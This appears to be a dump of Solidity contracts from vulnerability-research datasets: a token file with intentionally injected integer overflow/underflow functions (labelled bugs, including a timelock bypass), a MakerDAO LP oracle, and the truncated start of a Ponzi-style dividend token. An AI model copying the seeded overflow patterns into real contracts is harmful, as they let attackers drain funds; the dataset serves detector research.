_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
// function _burnFrom(address account, uint256 amount) internal {
// _burn(account, amount);
// }
function mint(address _to, uint256 _amount) onlyOwner public returns (bool){
_totalSupply = _totalSupply.add(_amount);
_balances[_to] = _balances[_to].add(_amount);
emit Transfer(address(0), _to, _amount);
return true;
}
}
| 72,334 | 1,790 |
61dc3a4071f33a8cdb3431c679556700c060545a9a2961a29ec1c64b73cc59f5
| 20,263 |
.sol
|
Solidity
| false |
441123437
|
1052445594/SoliDetector
|
171e0750225e445c2993f04ef32ad65a82342054
|
Solidifi-bugInjection-data/compareTool/SmartCheck-Injection-Data/Integer_overflow_and_underflow/Sol/buggy_16.sol
| 5,856 | 19,239 |
pragma solidity 0.4.25;
library SafeMath {
function mul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function div(uint a, uint b) internal pure returns (uint c) {
require(b > 0);
c = a / b;
}
function sub(uint a, uint b) internal pure returns (uint c) {
require(b <= a);
c = a - b;
}
function add(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
}
contract ERC20Interface {
function totalSupply() public view returns (uint256);
function bug_intou39() public{
uint8 vundflw =0;
vundflw = vundflw -10; // underflow bug //Integer_overflow_and_underflow bug
}
function balanceOf(address tokenOwner) public view returns (uint256 balance);
mapping(address => uint) balances_intou38;
function transfer_intou38(address _to, uint _value) public returns (bool) {
require(balances_intou38[msg.sender] - _value >= 0); //bug //Integer_overflow_and_underflow bug
balances_intou38[msg.sender] -= _value; //bug //Integer_overflow_and_underflow bug
balances_intou38[_to] += _value; //bug //Integer_overflow_and_underflow bug
return true;
}
function allowance(address tokenOwner, address spender) public view returns (uint256 remaining);
mapping(address => uint) public lockTime_intou37;
function increaseLockTime_intou37(uint _secondsToIncrease) public {
lockTime_intou37[msg.sender] += _secondsToIncrease; //overflow //Integer_overflow_and_underflow bug
}
function withdraw_intou37() public {
require(now > lockTime_intou37[msg.sender]);
uint transferValue_intou37 = 10;
msg.sender.transfer(transferValue_intou37);
}
function transfer(address to, uint256 tokens) public returns (bool success);
function bug_intou36(uint8 p_intou36) public{
uint8 vundflw1=0;
vundflw1 = vundflw1 + p_intou36; // overflow bug //Integer_overflow_and_underflow bug
}
function approve(address spender, uint256 tokens) public returns (bool success);
function bug_intou35() public{
uint8 vundflw =0;
vundflw = vundflw -10; // underflow bug //Integer_overflow_and_underflow bug
}
function transferFrom(address from, address to, uint256 tokens) public returns (bool success);
mapping(address => uint) balances_intou34;
function transfer_intou34(address _to, uint _value) public returns (bool) {
require(balances_intou34[msg.sender] - _value >= 0); //bug //Integer_overflow_and_underflow bug
balances_intou34[msg.sender] -= _value; //bug //Integer_overflow_and_underflow bug
balances_intou34[_to] += _value; //bug //Integer_overflow_and_underflow bug
return true;
}
mapping(address => uint) balances_intou14;
function transfer_intou14(address _to, uint _value) public returns (bool) {
require(balances_intou14[msg.sender] - _value >= 0); //bug //Integer_overflow_and_underflow bug
balances_intou14[msg.sender] -= _value; //bug //Integer_overflow_and_underflow bug
balances_intou14[_to] += _value; //bug //Integer_overflow_and_underflow bug
return true;
}
event Transfer(address indexed from, address indexed to, uint256 tokens);
mapping(address => uint) public lockTime_intou13;
function increaseLockTime_intou13(uint _secondsToIncrease) public {
lockTime_intou13[msg.sender] += _secondsToIncrease; //overflow //Integer_overflow_and_underflow bug
}
function withdraw_intou13() public {
require(now > lockTime_intou13[msg.sender]);
uint transferValue_intou13 = 10;
msg.sender.transfer(transferValue_intou13);
}
event Approval(address indexed tokenOwner, address indexed spender, uint256 tokens);
}
contract Owned {
address public owner;
function bug_intou12(uint8 p_intou12) public{
uint8 vundflw1=0;
vundflw1 = vundflw1 + p_intou12; // overflow bug //Integer_overflow_and_underflow bug
}
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
owner = msg.sender;
}
mapping(address => uint) public lockTime_intou33;
function increaseLockTime_intou33(uint _secondsToIncrease) public {
lockTime_intou33[msg.sender] += _secondsToIncrease; //overflow //Integer_overflow_and_underflow bug
}
function withdraw_intou33() public {
require(now > lockTime_intou33[msg.sender]);
uint transferValue_intou33 = 10;
msg.sender.transfer(transferValue_intou33);
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
function bug_intou32(uint8 p_intou32) public{
uint8 vundflw1=0;
vundflw1 = vundflw1 + p_intou32; // overflow bug //Integer_overflow_and_underflow bug
}
}
contract ExclusivePlatform is ERC20Interface, Owned {
using SafeMath for uint256;
mapping (address => uint256) balances;
mapping(address => uint) public lockTime_intou9;
function increaseLockTime_intou9(uint _secondsToIncrease) public {
lockTime_intou9[msg.sender] += _secondsToIncrease; //overflow //Integer_overflow_and_underflow bug
}
function withdraw_intou9() public {
require(now > lockTime_intou9[msg.sender]);
uint transferValue_intou9 = 10;
msg.sender.transfer(transferValue_intou9);
}
mapping (address => mapping (address => uint256)) allowed;
function bug_intou8(uint8 p_intou8) public{
uint8 vundflw1=0;
vundflw1 = vundflw1 + p_intou8; // overflow bug //Integer_overflow_and_underflow bug
}
string public name = "Exclusive Platform";
function bug_intou7() public{
uint8 vundflw =0;
vundflw = vundflw -10; // underflow bug //Integer_overflow_and_underflow bug
}
string public symbol = "XPL";
mapping(address => uint) balances_intou6;
function transfer_intou62(address _to, uint _value) public returns (bool) {
require(balances_intou6[msg.sender] - _value >= 0); //bug //Integer_overflow_and_underflow bug
balances_intou6[msg.sender] -= _value; //bug //Integer_overflow_and_underflow bug
balances_intou6[_to] += _value; //bug //Integer_overflow_and_underflow bug
return true;
}
uint256 public decimals = 8;
mapping(address => uint) public lockTime_intou5;
function increaseLockTime_intou5(uint _secondsToIncrease) public {
lockTime_intou5[msg.sender] += _secondsToIncrease; //overflow //Integer_overflow_and_underflow bug
}
function withdraw_intou5() public {
require(now > lockTime_intou5[msg.sender]);
uint transferValue_intou5 = 10;
msg.sender.transfer(transferValue_intou5);
}
uint256 public _totalSupply;
function bug_intou40(uint8 p_intou40) public{
uint8 vundflw1=0;
vundflw1 = vundflw1 + p_intou40; // overflow bug //Integer_overflow_and_underflow bug
}
uint256 public XPLPerEther = 8000000e8;
uint256 public minimumBuy = 1 ether / 100;
function bug_intou4(uint8 p_intou4) public{
uint8 vundflw1=0;
vundflw1 = vundflw1 + p_intou4; // overflow bug //Integer_overflow_and_underflow bug
}
bool public crowdsaleIsOn = true;
//mitigates the ERC20 short address attack
//suggested by izqui9 @ http://bit.ly/2NMMCNv
modifier onlyPayloadSize(uint size) {
assert(msg.data.length >= size + 4);
_;
}
constructor () public {
_totalSupply = 10000000000e8;
balances[owner] = _totalSupply;
emit Transfer(address(0), owner, _totalSupply);
}
function bug_intou31() public{
uint8 vundflw =0;
vundflw = vundflw -10; // underflow bug //Integer_overflow_and_underflow bug
}
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
mapping(address => uint) balances_intou30;
function transfer_intou30(address _to, uint _value) public returns (bool) {
require(balances_intou30[msg.sender] - _value >= 0); //bug //Integer_overflow_and_underflow bug
balances_intou30[msg.sender] -= _value; //bug //Integer_overflow_and_underflow bug
balances_intou30[_to] += _value; //bug //Integer_overflow_and_underflow bug
return true;
}
function updateXPLPerEther(uint _XPLPerEther) public onlyOwner {
emit NewPrice(owner, XPLPerEther, _XPLPerEther);
XPLPerEther = _XPLPerEther;
}
function bug_intou3() public{
uint8 vundflw =0;
vundflw = vundflw -10; // underflow bug //Integer_overflow_and_underflow bug
}
function switchCrowdsale() public onlyOwner {
crowdsaleIsOn = !(crowdsaleIsOn);
}
mapping(address => uint) public lockTime_intou29;
function increaseLockTime_intou29(uint _secondsToIncrease) public {
lockTime_intou29[msg.sender] += _secondsToIncrease; //overflow //Integer_overflow_and_underflow bug
}
function withdraw_intou29() public {
require(now > lockTime_intou29[msg.sender]);
uint transferValue_intou29 = 10;
msg.sender.transfer(transferValue_intou29);
}
function getBonus(uint256 _amount) internal view returns (uint256) {
if (_amount >= XPLPerEther.mul(5)) {
return ((20 * _amount).div(100)).add(_amount);
} else if (_amount >= XPLPerEther) {
return ((5 * _amount).div(100)).add(_amount);
}
return _amount;
}
function bug_intou28(uint8 p_intou28) public{
uint8 vundflw1=0;
vundflw1 = vundflw1 + p_intou28; // overflow bug //Integer_overflow_and_underflow bug
}
function () payable external {
require(crowdsaleIsOn && msg.value >= minimumBuy);
uint256 totalBuy = (XPLPerEther.mul(msg.value)).div(1 ether);
totalBuy = getBonus(totalBuy);
doTransfer(owner, msg.sender, totalBuy);
}
function bug_intou27() public{
uint8 vundflw =0;
vundflw = vundflw -10; // underflow bug //Integer_overflow_and_underflow bug
}
function distribute(address[] _addresses, uint256 _amount) external {
for (uint i = 0; i < _addresses.length; i++) {transfer(_addresses[i], _amount);}
}
mapping(address => uint) balances_intou26;
function transfer_intou26(address _to, uint _value) public returns (bool) {
require(balances_intou26[msg.sender] - _value >= 0); //bug //Integer_overflow_and_underflow bug
balances_intou26[msg.sender] -= _value; //bug //Integer_overflow_and_underflow bug
balances_intou26[_to] += _value; //bug //Integer_overflow_and_underflow bug
return true;
}
function distributeWithAmount(address[] _addresses, uint256[] _amounts) external {
require(_addresses.length == _amounts.length);
for (uint i = 0; i < _addresses.length; i++) {transfer(_addresses[i], _amounts[i]);}
}
mapping(address => uint) public lockTime_intou25;
function increaseLockTime_intou25(uint _secondsToIncrease) public {
lockTime_intou25[msg.sender] += _secondsToIncrease; //overflow //Integer_overflow_and_underflow bug
}
function withdraw_intou25() public {
require(now > lockTime_intou25[msg.sender]);
uint transferValue_intou25 = 10;
msg.sender.transfer(transferValue_intou25);
}
/// @dev This is the actual transfer function in the token contract, it can
/// only be called by other functions in this contract.
/// @param _from The address holding the tokens being transferred
/// @param _to The address of the recipient
/// @param _amount The amount of tokens to be transferred
/// @return True if the transfer was successful
function doTransfer(address _from, address _to, uint _amount) internal {
// Do not allow transfer to 0x0 or the token contract itself
require((_to != address(0)));
require(_amount <= balances[_from]);
balances[_from] = balances[_from].sub(_amount);
balances[_to] = balances[_to].add(_amount);
emit Transfer(_from, _to, _amount);
}
function bug_intou24(uint8 p_intou24) public{
uint8 vundflw1=0;
vundflw1 = vundflw1 + p_intou24; // overflow bug //Integer_overflow_and_underflow bug
}
function balanceOf(address _owner) view public returns (uint256) {
return balances[_owner];
}
function bug_intou23() public{
uint8 vundflw =0;
vundflw = vundflw -10; // underflow bug //Integer_overflow_and_underflow bug
}
function transfer(address _to, uint256 _amount) onlyPayloadSize(2 * 32) public returns (bool success) {
doTransfer(msg.sender, _to, _amount);
return true;
}
mapping(address => uint) balances_intou22;
function transfer_intou22(address _to, uint _value) public returns (bool) {
require(balances_intou22[msg.sender] - _value >= 0); //bug //Integer_overflow_and_underflow bug
balances_intou22[msg.sender] -= _value; //bug //Integer_overflow_and_underflow bug
balances_intou22[_to] += _value; //bug //Integer_overflow_and_underflow bug
return true;
}
/// @return The balance of `_owner`
function transferFrom(address _from, address _to, uint256 _amount) onlyPayloadSize(3 * 32) public returns (bool success) {
require(allowed[_from][msg.sender] >= _amount);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount);
doTransfer(_from, _to, _amount);
return true;
}
mapping(address => uint) public lockTime_intou21;
function increaseLockTime_intou21(uint _secondsToIncrease) public {
lockTime_intou21[msg.sender] += _secondsToIncrease; //overflow //Integer_overflow_and_underflow bug
}
function withdraw_intou21() public {
require(now > lockTime_intou21[msg.sender]);
uint transferValue_intou21 = 10;
msg.sender.transfer(transferValue_intou21);
}
/// @notice `msg.sender` approves `_spender` to spend `_amount` tokens on
/// its behalf. This is a modified version of the ERC20 approve function
/// to be a little bit safer
/// @param _spender The address of the account able to transfer the tokens
/// @param _amount The amount of tokens to be approved for transfer
/// @return True if the approval was successful
function approve(address _spender, uint256 _amount) public returns (bool success) {
// To change the approve amount you first have to reduce the addresses`
// allowance to zero by calling `approve(_spender,0)` if it is not
// already 0 to mitigate the race condition described here:
// https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
require((_amount == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _amount;
emit Approval(msg.sender, _spender, _amount);
return true;
}
function bug_intou20(uint8 p_intou20) public{
uint8 vundflw1=0;
vundflw1 = vundflw1 + p_intou20; // overflow bug //Integer_overflow_and_underflow bug
}
function allowance(address _owner, address _spender) view public returns (uint256) {
return allowed[_owner][_spender];
}
mapping(address => uint) balances_intou2;
function transfer_undrflow2(address _to, uint _value) public returns (bool) {
require(balances_intou2[msg.sender] - _value >= 0); //Integer_overflow_and_underflow bug
balances_intou2[msg.sender] -= _value; //Integer_overflow_and_underflow bug
balances_intou2[_to] += _value; //Integer_overflow_and_underflow bug
return true;
}
function transferEther(address _receiver, uint256 _amount) public onlyOwner {
require(_amount <= address(this).balance);
emit TransferEther(address(this), _receiver, _amount);
_receiver.transfer(_amount);
}
function bug_intou19() public{
uint8 vundflw =0;
vundflw = vundflw -10; // underflow bug //Integer_overflow_and_underflow bug
}
function withdrawFund() onlyOwner public {
uint256 balance = address(this).balance;
owner.transfer(balance);
}
mapping(address => uint) balances_intou18;
function transfer_intou18(address _to, uint _value) public returns (bool) {
require(balances_intou18[msg.sender] - _value >= 0); //bug //Integer_overflow_and_underflow bug
balances_intou18[msg.sender] -= _value; //bug //Integer_overflow_and_underflow bug
balances_intou18[_to] += _value; //bug //Integer_overflow_and_underflow bug
return true;
}
function burn(uint256 _value) onlyOwner public {
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
_totalSupply = _totalSupply.sub(_value);
emit Burn(burner, _value);
}
mapping(address => uint) public lockTime_intou17;
function increaseLockTime_intou17(uint _secondsToIncrease) public {
lockTime_intou17[msg.sender] += _secondsToIncrease; //overflow //Integer_overflow_and_underflow bug
}
function withdraw_intou17() public {
require(now > lockTime_intou17[msg.sender]);
uint transferValue_intou17 = 10;
msg.sender.transfer(transferValue_intou17);
}
function getForeignTokenBalance(address tokenAddress, address who) view public returns (uint){
ERC20Interface token = ERC20Interface(tokenAddress);
uint bal = token.balanceOf(who);
return bal;
}
function bug_intou16(uint8 p_intou16) public{
uint8 vundflw1=0;
vundflw1 = vundflw1 + p_intou16; // overflow bug //Integer_overflow_and_underflow bug
}
function withdrawForeignTokens(address tokenAddress) onlyOwner public returns (bool) {
ERC20Interface token = ERC20Interface(tokenAddress);
uint256 amount = token.balanceOf(address(this));
return token.transfer(owner, amount);
}
function bug_intou15() public{
uint8 vundflw =0;
vundflw = vundflw -10; // underflow bug //Integer_overflow_and_underflow bug
}
function bug_intou11() public{
uint8 vundflw =0;
vundflw = vundflw -10; // underflow bug //Integer_overflow_and_underflow bug
}
event TransferEther(address indexed _from, address indexed _to, uint256 _value);
mapping(address => uint) balances_intou10;
function transfer_intou10(address _to, uint _value) public returns (bool) {
require(balances_intou10[msg.sender] - _value >= 0); //bug //Integer_overflow_and_underflow bug
balances_intou10[msg.sender] -= _value; //bug //Integer_overflow_and_underflow bug
balances_intou10[_to] += _value; //bug //Integer_overflow_and_underflow bug
return true;
}
event NewPrice(address indexed _changer, uint256 _lastPrice, uint256 _newPrice);
mapping(address => uint) public lockTime_intou1;
function increaseLockTime_intou1(uint _secondsToIncrease) public {
lockTime_intou1[msg.sender] += _secondsToIncrease; //Integer_overflow_and_underflow bug
}
function withdraw_ovrflow1() public {
require(now > lockTime_intou1[msg.sender]);
uint transferValue_intou1 = 10;
msg.sender.transfer(transferValue_intou1);
}
event Burn(address indexed _burner, uint256 value);
}
| 223,759 | 1,791 |
ea8e68daee00cbb0a9ef6788aaa06f84b3801f7d51a1862dab6e5ede6c99da7f
| 14,548 |
.sol
|
Solidity
| false |
382088232
|
makerdao/univ3-lp-oracle
|
0d25676e0956fc3a5359431c708106547c4fef26
|
src/GUniLPOracle.sol
| 4,154 | 13,567 |
// SPDX-License-Identifier: AGPL-3.0-or-later
/// GUniLPOracle.sol
// Copyright (C) 2017-2020 Maker Ecosystem Growth Holdings, INC.
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU Affero General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU Affero General Public License for more details.
//
// You should have received a copy of the GNU Affero General Public License
// along with this program. If not, see <https://www.gnu.org/licenses/>.
///////////////////////////////////////////////////////
// //
// Methodology for Calculating LP Token Price //
// //
///////////////////////////////////////////////////////
// We derive the sqrtPriceX96 via Maker's own oracles to prevent price manipulation in the pool:
//
// p0 = price of token0 in USD
// p1 = price of token1 in USD
// UNITS_0 = decimals of token0
// UNITS_1 = decimals of token1
//
// = (p0 * 10^UNITS_1) / (p1 * 10^UNITS_0)
//
// sqrtPriceX96 = sqrt(token1/token0) * 2^96 [From Uniswap's definition]
// = sqrt((p0 * 10^UNITS_1) / (p1 * 10^UNITS_0)) * 2^96
// = sqrt((p0 * 10^UNITS_1) / (p1 * 10^UNITS_0)) * 2^48 * 2^48
// = sqrt((p0 * 10^UNITS_1 * 2^96) / (p1 * 10^UNITS_0)) * 2^48
//
//
// Once we have the fair reserves and the prices we can compute the token price by:
//
// Token Price = TVL / Token Supply
// = (r0 * p0 + r1 * p1) / totalSupply
pragma solidity =0.6.12;
interface ERC20Like {
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint256);
}
interface GUNILike {
function token0() external view returns (address);
function token1() external view returns (address);
function getUnderlyingBalancesAtPrice(uint160) external view returns (uint256,uint256);
}
interface OracleLike {
function read() external view returns (uint256);
}
// Factory for creating G-UNI LP Token Oracle instances
contract GUniLPOracleFactory {
mapping(address => bool) public isOracle;
event NewGUniLPOracle(address owner, address orcl, bytes32 wat, address indexed tok0, address indexed tok1, address orb0, address orb1);
// Create new G-UNI LP Token Oracle instance
function build(address _owner,
address _src,
bytes32 _wat,
address _orb0,
address _orb1) public returns (address orcl) {
address tok0 = GUNILike(_src).token0();
address tok1 = GUNILike(_src).token1();
orcl = address(new GUniLPOracle(_src, _wat, _orb0, _orb1));
GUniLPOracle(orcl).rely(_owner);
GUniLPOracle(orcl).deny(address(this));
isOracle[orcl] = true;
emit NewGUniLPOracle(_owner, orcl, _wat, tok0, tok1, _orb0, _orb1);
}
}
contract GUniLPOracle {
// --- Auth ---
mapping (address => uint256) public wards; // Addresses with admin authority
function rely(address _usr) external auth { wards[_usr] = 1; emit Rely(_usr); } // Add admin
function deny(address _usr) external auth { wards[_usr] = 0; emit Deny(_usr); } // Remove admin
modifier auth {
require(wards[msg.sender] == 1, "GUniLPOracle/not-authorized");
_;
}
address public immutable src; // Price source
// hop and zph are packed into single slot to reduce SLOADs;
// this outweighs the cost from added bitmasking operations.
uint8 public stopped; // Stop/start ability to update
uint16 public hop = 1 hours; // Minimum time in between price updates
uint232 public zph; // Time of last price update plus hop
bytes32 public immutable wat; // Label of token whose price is being tracked
// --- Whitelisting ---
mapping (address => uint256) public bud;
modifier toll { require(bud[msg.sender] == 1, "GUniLPOracle/contract-not-whitelisted"); _; }
struct Feed {
uint128 val; // Price
uint128 has; // Is price valid
}
Feed internal cur; // Current price (mem slot 0x3)
Feed internal nxt; // Queued price (mem slot 0x4)
// --- Data ---
uint256 private immutable UNIT_0; // Numerical representation of one token of token0 (10^decimals)
uint256 private immutable UNIT_1; // Numerical representation of one token of token1 (10^decimals)
uint256 private immutable TO_18_DEC_0; // Conversion factor to 18 decimals
uint256 private immutable TO_18_DEC_1; // Conversion factor to 18 decimals
address public orb0; // Oracle for token0, ideally a Medianizer
address public orb1; // Oracle for token1, ideally a Medianizer
// --- Math ---
uint256 constant WAD = 10 ** 18;
function _add(uint256 _x, uint256 _y) internal pure returns (uint256 z) {
require((z = _x + _y) >= _x, "GUniLPOracle/add-overflow");
}
function _sub(uint256 _x, uint256 _y) internal pure returns (uint256 z) {
require((z = _x - _y) <= _x, "GUniLPOracle/sub-underflow");
}
function _mul(uint256 _x, uint256 _y) internal pure returns (uint256 z) {
require(_y == 0 || (z = _x * _y) / _y == _x, "GUniLPOracle/mul-overflow");
}
function toUint160(uint256 x) internal pure returns (uint160 z) {
require((z = uint160(x)) == x, "GUniLPOracle/uint160-overflow");
}
function sqrt(uint256 _x) private pure returns (uint128) {
if (_x == 0) return 0;
else {
uint256 xx = _x;
uint256 r = 1;
if (xx >= 0x100000000000000000000000000000000) { xx >>= 128; r <<= 64; }
if (xx >= 0x10000000000000000) { xx >>= 64; r <<= 32; }
if (xx >= 0x100000000) { xx >>= 32; r <<= 16; }
if (xx >= 0x10000) { xx >>= 16; r <<= 8; }
if (xx >= 0x100) { xx >>= 8; r <<= 4; }
if (xx >= 0x10) { xx >>= 4; r <<= 2; }
if (xx >= 0x8) { r <<= 1; }
r = (r + _x / r) >> 1;
r = (r + _x / r) >> 1;
r = (r + _x / r) >> 1;
r = (r + _x / r) >> 1;
r = (r + _x / r) >> 1;
r = (r + _x / r) >> 1;
r = (r + _x / r) >> 1; // Seven iterations should be enough
uint256 r1 = _x / r;
return uint128 (r < r1 ? r : r1);
}
}
// --- Events ---
event Rely(address indexed usr);
event Deny(address indexed usr);
event Step(uint256 hop);
event Stop();
event Start();
event Value(uint128 curVal, uint128 nxtVal);
event Link(uint256 id, address orb);
event Kiss(address a);
event Diss(address a);
// --- Init ---
constructor (address _src, bytes32 _wat, address _orb0, address _orb1) public {
require(_src != address(0), "GUniLPOracle/invalid-src-address");
require(_orb0 != address(0) && _orb1 != address(0), "GUniLPOracle/invalid-oracle-address");
wards[msg.sender] = 1;
emit Rely(msg.sender);
src = _src;
wat = _wat;
uint256 dec0 = uint256(ERC20Like(GUNILike(_src).token0()).decimals());
require(dec0 <= 18, "GUniLPOracle/token0-dec-gt-18");
UNIT_0 = 10 ** dec0;
TO_18_DEC_0 = 10 ** (18 - dec0);
uint256 dec1 = uint256(ERC20Like(GUNILike(_src).token1()).decimals());
require(dec1 <= 18, "GUniLPOracle/token1-dec-gt-18");
UNIT_1 = 10 ** dec1;
TO_18_DEC_1 = 10 ** (18 - dec1);
orb0 = _orb0;
orb1 = _orb1;
}
function stop() external auth {
stopped = 1;
delete cur;
delete nxt;
zph = 0;
emit Stop();
}
function start() external auth {
stopped = 0;
emit Start();
}
function step(uint256 _hop) external auth {
require(_hop <= uint16(-1), "GUniLPOracle/invalid-hop");
hop = uint16(_hop);
emit Step(_hop);
}
function link(uint256 _id, address _orb) external auth {
require(_orb != address(0), "GUniLPOracle/no-contract-0");
if(_id == 0) {
orb0 = _orb;
} else if (_id == 1) {
orb1 = _orb;
} else {
revert("GUniLPOracle/invalid-id");
}
emit Link(_id, _orb);
}
// For consistency with other oracles.
function zzz() external view returns (uint256) {
if (zph == 0) return 0; // backwards compatibility
return _sub(zph, hop);
}
function pass() external view returns (bool) {
return block.timestamp >= zph;
}
function seek() internal returns (uint128 quote) {
// All Oracle prices are priced with 18 decimals against USD
uint256 p0 = OracleLike(orb0).read(); // Query token0 price from oracle (WAD)
require(p0 != 0, "GUniLPOracle/invalid-oracle-0-price");
uint256 p1 = OracleLike(orb1).read(); // Query token1 price from oracle (WAD)
require(p1 != 0, "GUniLPOracle/invalid-oracle-1-price");
uint160 sqrtPriceX96 = toUint160(sqrt(_mul(_mul(p0, UNIT_1), (1 << 96)) / (_mul(p1, UNIT_0))) << 48);
// Get balances of the tokens in the pool
(uint256 r0, uint256 r1) = GUNILike(src).getUnderlyingBalancesAtPrice(sqrtPriceX96);
require(r0 > 0 || r1 > 0, "GUniLPOracle/invalid-balances");
uint256 totalSupply = ERC20Like(src).totalSupply();
require(totalSupply >= 1e9, "GUniLPOracle/total-supply-too-small"); // Protect against precision errors with dust-levels of collateral
// Add the total value of each token together and divide by the totalSupply to get the unit price
uint256 preq = _add(_mul(p0, _mul(r0, TO_18_DEC_0)),
_mul(p1, _mul(r1, TO_18_DEC_1))) / totalSupply;
require(preq < 2 ** 128, "GUniLPOracle/quote-overflow");
quote = uint128(preq); // WAD
}
function poke() external {
// Ensure a single SLOAD while avoiding solc's excessive bitmasking bureaucracy.
uint256 hop_;
{
// Block-scoping these variables saves some gas.
uint256 stopped_;
uint256 zph_;
assembly {
let slot1 := sload(1)
stopped_ := and(slot1, 0xff)
hop_ := and(shr(8, slot1), 0xffff)
zph_ := shr(24, slot1)
}
// When stopped, values are set to zero and should remain such; thus, disallow updating in that case.
require(stopped_ == 0, "GUniLPOracle/is-stopped");
// Equivalent to requiring that pass() returns true.
// The logic is repeated instead of calling pass() to save gas
// (both by eliminating an internal call here, and allowing pass to be external).
require(block.timestamp >= zph_, "GUniLPOracle/not-passed");
}
uint128 val = seek();
require(val != 0, "GUniLPOracle/invalid-price");
Feed memory cur_ = nxt; // This memory value is used to save an SLOAD later.
cur = cur_;
nxt = Feed(val, 1);
// The below is equivalent to:
//
// zph = block.timestamp + hop
//
// but ensures no extra SLOADs are performed.
//
// Even if _hop = (2^16 - 1), the maximum possible value, add(timestamp(), _hop)
// will not overflow (even a 232 bit value) for a very long time.
//
// Also, we know stopped was zero, so there is no need to account for it explicitly here.
assembly {
sstore(1,
add(// zph value starts 24 bits in
shl(24, add(timestamp(), hop_)),
// hop value starts 8 bits in
shl(8, hop_)))
}
// Equivalent to emitting Value(cur.val, nxt.val), but averts extra SLOADs.
emit Value(cur_.val, val);
// Safe to terminate immediately since no postfix modifiers are applied.
assembly {
stop()
}
}
function peek() external view toll returns (bytes32,bool) {
return (bytes32(uint256(cur.val)), cur.has == 1);
}
function peep() external view toll returns (bytes32,bool) {
return (bytes32(uint256(nxt.val)), nxt.has == 1);
}
function read() external view toll returns (bytes32) {
require(cur.has == 1, "GUniLPOracle/no-current-value");
return (bytes32(uint256(cur.val)));
}
function kiss(address _a) external auth {
require(_a != address(0), "GUniLPOracle/no-contract-0");
bud[_a] = 1;
emit Kiss(_a);
}
function kiss(address[] calldata _a) external auth {
for(uint256 i = 0; i < _a.length; i++) {
require(_a[i] != address(0), "GUniLPOracle/no-contract-0");
bud[_a[i]] = 1;
emit Kiss(_a[i]);
}
}
function diss(address _a) external auth {
bud[_a] = 0;
emit Diss(_a);
}
function diss(address[] calldata _a) external auth {
for(uint256 i = 0; i < _a.length; i++) {
bud[_a[i]] = 0;
emit Diss(_a[i]);
}
}
}
| 224,291 | 1,792 |
5cf4f008d41656beef18c3d17e58c8ee7e9a792fc2464bd7d5fbc0b84e6410b4
| 20,246 |
.sol
|
Solidity
| false |
627794329
|
uni-due-syssec/efcf-framework
|
c3088c935f567dc7fc286475d6759204b6e44ef5
|
data/smartbugs-top-1000-balance/0x351544927a64a458a87a91c33718487098873b87.sol
| 4,133 | 15,611 |
pragma solidity ^0.4.20;
contract PoMN {
/// @dev Only people with tokens
modifier onlyBagholders {
require(myTokens() > 0);
_;
}
/// @dev Only people with profits
modifier onlyStronghands {
require(myDividends(true) > 0);
_;
}
event onTokenPurchase(address indexed customerAddress,
uint256 incomingEthereum,
uint256 tokensMinted,
address indexed referredBy,
uint timestamp,
uint256 price);
event onTokenSell(address indexed customerAddress,
uint256 tokensBurned,
uint256 ethereumEarned,
uint timestamp,
uint256 price);
event onReinvestment(address indexed customerAddress,
uint256 ethereumReinvested,
uint256 tokensMinted);
event onWithdraw(address indexed customerAddress,
uint256 ethereumWithdrawn);
// ERC20
event Transfer(address indexed from,
address indexed to,
uint256 tokens);
string public name = "Proof of Masternode";
string public symbol = "PoMN";
uint8 constant public decimals = 18;
/// @dev 20% dividends for token purchase
uint8 constant internal entryFee_ = 20;
/// @dev 10% dividends for token transfer
uint8 constant internal transferFee_ = 10;
/// @dev 25% dividends for token selling
uint8 constant internal exitFee_ = 25;
/// @dev 75% of entryFee_ (i.e. 15% dividends) is given to referrer
uint8 constant internal refferalFee_ = 75;
uint256 constant internal tokenPriceInitial_ = 0.00000001 ether;
uint256 constant internal tokenPriceIncremental_ = 0.000000001 ether;
uint256 constant internal magnitude = 2 ** 64;
/// @dev proof of stake (defaults at 50 tokens)
uint256 public stakingRequirement = 50e18;
// amount of shares for each address (scaled number)
mapping(address => uint256) internal tokenBalanceLedger_;
mapping(address => uint256) internal referralBalance_;
mapping(address => int256) internal payoutsTo_;
uint256 internal tokenSupply_;
uint256 internal profitPerShare_;
function buy(address _referredBy) public payable returns (uint256) {
purchaseTokens(msg.value, _referredBy);
}
function() payable public {
purchaseTokens(msg.value, 0x0);
}
/// @dev Converts all of caller's dividends to tokens.
function reinvest() onlyStronghands public {
// fetch dividends
uint256 _dividends = myDividends(false); // retrieve ref. bonus later in the code
// pay out the dividends virtually
address _customerAddress = msg.sender;
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
// retrieve ref. bonus
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
// dispatch a buy order with the virtualized "withdrawn dividends"
uint256 _tokens = purchaseTokens(_dividends, 0x0);
// fire event
onReinvestment(_customerAddress, _dividends, _tokens);
}
/// @dev Alias of sell() and withdraw().
function exit() public {
// get token count for caller & sell them all
address _customerAddress = msg.sender;
uint256 _tokens = tokenBalanceLedger_[_customerAddress];
if (_tokens > 0) sell(_tokens);
// lambo delivery service
withdraw();
}
/// @dev Withdraws all of the callers earnings.
function withdraw() onlyStronghands public {
// setup data
address _customerAddress = msg.sender;
uint256 _dividends = myDividends(false); // get ref. bonus later in the code
// update dividend tracker
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
// add ref. bonus
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
